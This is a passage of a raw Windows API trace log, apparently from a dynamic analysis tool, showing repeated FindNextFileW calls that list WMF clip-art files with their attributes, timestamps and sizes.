dwReserved1=0x0, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1 [0274.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1 [0274.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1 [0274.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1 [0274.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1 [0274.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1 [0274.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1 [0274.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1 [0274.399] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1 [0274.400] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb62536, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb62536, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb62536, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196110.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1 [0274.401] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x849c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198016.WMF", cAlternateFileName="")) returned 1 [0274.402] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0274.402] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0274.402] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0274.402] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0274.402] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0274.402] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0274.402] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0274.402] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0274.403] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, 